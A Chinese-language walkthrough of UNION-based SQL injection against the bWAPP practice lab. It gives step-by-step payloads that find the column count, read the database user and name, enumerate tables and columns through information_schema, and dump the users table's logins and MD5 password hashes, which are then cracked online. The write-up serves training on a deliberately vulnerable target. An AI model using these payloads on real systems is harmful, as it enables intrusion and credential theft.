一、SQL注入
1. 看请求参数
如这个bwapp靶场:http://192.168.217.129:800/sqli_1.php?title=a&action=search
其中 a 为输入参数 通过sql注入 拿到用户名和密码
2.推算sql语句
一般为 select a,b,c,d,e(等 参数)from table( 表)where title = ? & action = search
3. 注入操作
- 利用 ‘ 单引号闭合 前方条件
- 利用#井号 后者 – SQL中的注释符 来注释掉后边内容,使其失效。
- 利用 union 联合查询语句
- 先使用 union select 1,2,3,… ; # 来测试回显数据时总共有几个字段
- 利用 user() database() 等函数
- 利用 information_schema 数据库查询数据库的主要信息
二、bWAPP靶场 SQL GET 注入
1. 测试有无SQL漏洞
输入 ’ 单引号测试
下面报:SQL语法错误 , 说明存在SQL注入漏洞
2. 用union测试有几个字段
利用union select 1,2,3…一个一个试
我这里试到了7 才显示数据
3. 根据字段类型 更换掉对应的数字
输入‘'union select 1,2,3,user(),database(),6,7;#
可以看到 5 对应的位置 成为了 数据库名称bWAPP ,4对应的位置成为了 用户名 root!@localhost
4.利用information_shema数据库
第一步
输入 ’’ union select 1,2,3,table_name,database(),6,7 from information_schema.tables where table_schema = database();#
可以查到 bWAPP数据库中所有的表名称
很明显 我们要找到 用户的用户名和密码 应该去对应的users表里查询
第二步
输入 ’’ union select 1,2,3,column_name,database(),6,7 from information_schema.columns where table_name = ‘users’ and table_schema = database();#
可以查看到users表里的字段 显然 login,password两个字段 就是要找的用户名和密码。
第三步
输入 ’’ union select 1,login,3,4,password,6,7 from users ;#
得到了login分别为A.I.M. bee 和 bwapp 密码是md5加密的 Character里面的字符串。
在 https://www.cmd5.com网站解密
A.I.M. bug
bee bug
bwapp 1234
总结
-
’
-
‘'union select 1,2,3,user(),database(),6,7;#
-
’’ union select 1,2,3,table_name,database(),6,7 from information_schema.tables where table_schema = database();#
-
’’ union select 1,2,3,column_name,database(),6,7 from information_schema.columns where table_name = ‘users’ and table_schema = database();#
-
’’ union select 1,login,3,4,password,6,7 from users ;#